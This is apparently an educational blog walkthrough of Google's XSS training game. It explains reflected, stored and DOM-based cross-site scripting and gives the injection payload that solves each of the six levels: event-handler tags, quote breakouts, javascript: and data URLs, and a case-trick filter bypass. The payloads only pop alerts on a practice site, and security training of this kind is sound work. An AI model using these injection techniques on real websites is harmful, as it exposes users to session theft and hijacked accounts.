XSS 101 - Solving Google's XSS Challenge
What is a Cross-Site Scripting vulnerability?
Cross-site scripting (XSS) is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code onto the HTML pages displayed to your users. Once executed by the victim’s browser, this code could then perform actions such as completely changing the behavior or appearance of the website, stealing private data, performing actions on behalf of the user, save keystrokes, analyze the internal network, etc.
XSS vulnerabilities most often happen when user input is incorporated into a web server’s response (i.e., an HTML page) without proper escaping or validation. More info
XSS Challenge
Google set up an environment to test some XSS vulnerabilities: https://xss-game.appspot.com/.
In this training program, you will learn to find and exploit XSS bugs. You’ll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.
I totally recommend to test by yourself and check this blog if you get stuck and need an extra hint.
Challenges
- XSS Challenge 1 - Hello, world of XSS
- XSS Challenge 2 - Persistence is key
- XSS Challenge 3 - That sinking feeling…
- XSS Challenge 4 - Context matters
- XSS Challenge 5 - Breaking protocol
- XSS Challenge 6 - Follow the 🐇
XSS Challenge 1 - Hello, world of XSS
In this application an input text is shown to try some searches. The detection of a possible XSS is important and we need to identify all possible reflections in the application to find a potential attack vector.
If we try some searches, we could observe that the URL is filled with the param query=
and our search. Let’s try to inject some malicious characters to test how the application handles it.
<div>
Sorry, no results were found for <b>laja<</b>. <a href="?">Try again</a>.
</div>
The character <
that could allow us to create a new HTML element is encoded (<
), and our browser will not execute it as an html tag… Let’s try to inject <script
to see what happens.
If we analyze the response we can see that the character now is not encoded (<script)
, therefore, the browser could interpret it and execute some code.
<div>
Sorry, no results were found for <b>laja<script< b="">. <a href="?">Try again</a>.</script<></b>
</div>
Let’s finish our payload to execute some alert
. In XSS, alert’s are used to check if a correct JavaScript injections is performed, because is harmless and is easily identifiable.
This XSS are called reflected XSS because they are non-persistent XSS attacks and the payload should be included in the URL to perfom a successful exploitation.
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
XSS Challenge 2 - Persistence is key
This application is a chat. Chat conversations are stored in a database and retrieved when a user wants to see the conversation. Therefore, if a malicious user injects some JavaScript code, all visitors will be infected. These XSS is more harmful that reflected XSS, and is called stored XSS. An attacker will only need to force the user to visit the site where the payload is stored, the attacker doesn’t need to send the payload in the URL.
In the enumeration phase, if we try to inject some malicious payloads, like <script>alert(1)</script>
, we see that the code is not being executed.
Maybe we can not inject the <script>
tag… let’s try some different execution.
In HTML, we could use HTML Event Attributes that gives the ability to let events trigger actions in a browser, like starting a JavaScript when a user clicks on an element.
So if we insert and image, with a source that doesn’t exists and we call the event onerror
we could perform JavaScript actions… perfect. The following payload will be used. <img src=x onerror="alert(1)"/>
If a user visits the page, the stored XSS will be triggered:
There are a lot of possible payloads to solve this level:
<svg onload='alert(1)'/>
<input autofocus onfocus=alert(1)>
<video><source onerror="JavaScript:alert(1)">
<marquee onstart=alert(1)>
XSS Challenge 3 - That sinking feeling…
We see a web application with some buttons that loads different images. If we click in a button Image 3
, we could observe that the following URL is created: https://xss-game.appspot.com/level3/frame#3
and the image is changed.
Let’s try to navigate to a different image that is not offered:
If we analyze the attribute <img
that fails to load we could see:
<img src="/static/level3/cloud4.jpg">
Could be possible to inject some attributes in the url?
https://xss-game.appspot.com/level3/frame#4" onerror="alert(1)"
Double quotes are encoded and we can’t scape the src attribute:
<img src="/static/level3/cloud4" onerror="alert(1)".jpg">
We should debug the Javacript code to find how the <img
attribute is constructed:
- 1 When we click the button
Image3
the functionchooseTab()
is triggered:< div class="tab" id="tab3" onclick="chooseTab('3')">Image 3 </ div>
- 2 Debugging this functions with our browser, shows us that the
payload
is parsed to int, and added to the<img
attribute as following:html += "<img src='/static/level3/cloud" + num + ".jpg' />";
-
3 Let’s try to inject
4laja' onerror='alert(1)'
and debug it: - 4 The final
<img
attribute will contain:<img src='/static/level3/cloud4laja' onerror='alert(1)'.jpg'/>
XSS Challenge 4 - Context matters
This application is a timer. When we introduce some number, a countdown starts and when it finish, the application alerts that the countdown is finished. Let’s try to inject some potential payload to see how the applications handles is:
If we analyze the code, the following is observed:
<body id="level4">
<img src="/static/logos/level4.png">
<br>
<img src="/static/loading.gif" onload="startTimer('1000<img src=x/>');">
<br>
<div id="message">Your timer will execute in 1000<img src=x/> seconds.</div>
</body>
The content of <div id="message">
is encoded, but the payload is introduced in the the event onload="startTimer('1000<img src=x/>');"
.
If wee inject a simple quote '
and check the JavaScript console of the browser, the following error is shown:
The next step is try to inject some payload that escapes the content of the function startTimer
and without breaking the JavaScript code, let us execute the alert function.
-
1 We need to close the
startTimer()
function correctly.1000')
will be enough to close the function:onload="startTimer('1000')');
. -
2 Now, we have to fill with a function and seize the remaining
')
to have a correct JavaScript syntax, for example:alert('hi
-
3 We need to concatenate the two functions, using
,
or|
for example. The final payload will be:1000'),alert('hi
The final element will be:<img src="/static/loading.gif" onload="startTimer(1000'),alert('hi');">
XSS Challenge 5 - Breaking protocol
This XSS is a bit different, in the Mission Description the following is described:
Cross-site scripting isn’t just about correctly escaping data. Sometimes, attackers can do bad things even without injecting new elements into the DOM.
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. More info
The application have three different pages:
- 1 Home page with the option
Sign up
. - 2 Page with email input.
- 3 Confirmation page that to Home.
In the page number 2, the param next
in the URL could be a potential attack vector https://xss-game.appspot.com/level5/frame/signup?next=confirm
, let’s try to inject some website in the next
parameter.
If a user enters it’s email and click in next, the redirection is performed.
This attack is called Open redirect and could allow an attacker to send a malicious payload as the following https://xss-game.appspot.com/level5/frame/signup?next=https://evilsite.com
. Attacker could place a phishing website to trick the victim to reenter credentials and steal it, for example.
An interesting feature is the Javacript protocol, which lets you execute statements rather than loading a new document. For example, if you create a link <a href="javascript:alert('Hello World')">Click Here</a>
a JavaScript alert will be executed.
Taking advantage of this. if we send a victim the following URL: https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('hi')
, after the victim introduces the email and clicks Next, the XSS will be triggered.
XSS Challenge 6 - Follow the 🐇
In this application, some external JavaScript is retrieved. If we analyze the url https://xss-game.appspot.com/level6/frame#/static/gadget.js
the script /static/gadget.js
is loaded. We have to try to inject some external JavaScript with the desired alert content. To access to an external JavaScript, I have submitted it on Pastebin with the following content:
If we point the application to our pastebin: https://xss-game.appspot.com/level6/frame#https://pastebin.com/raw/ng3qjzgz
, the following message is shown:
Analyzing the source code, a filter is detected:
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
If the URL matches http://
or https://
, the gadged will not be load. What happens if we change the url to Https
or hTtps
?
Another interesting feature to use in this challenge is the use of Data URLs. For example:
https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
https://xss-game.appspot.com/level6/frame#data:text/html;base64,YWxlcnQoJ2hpJyk=
Conclusions
We have solved the Google XSS Challenge and understood how XSS works at a basic level. As you can see, the execution of an XSS occurs when there is not a correct validation of the data and an understanding of the threat. From the point of view of an attacker, there are many techniques to achieve the exploitation of the threat.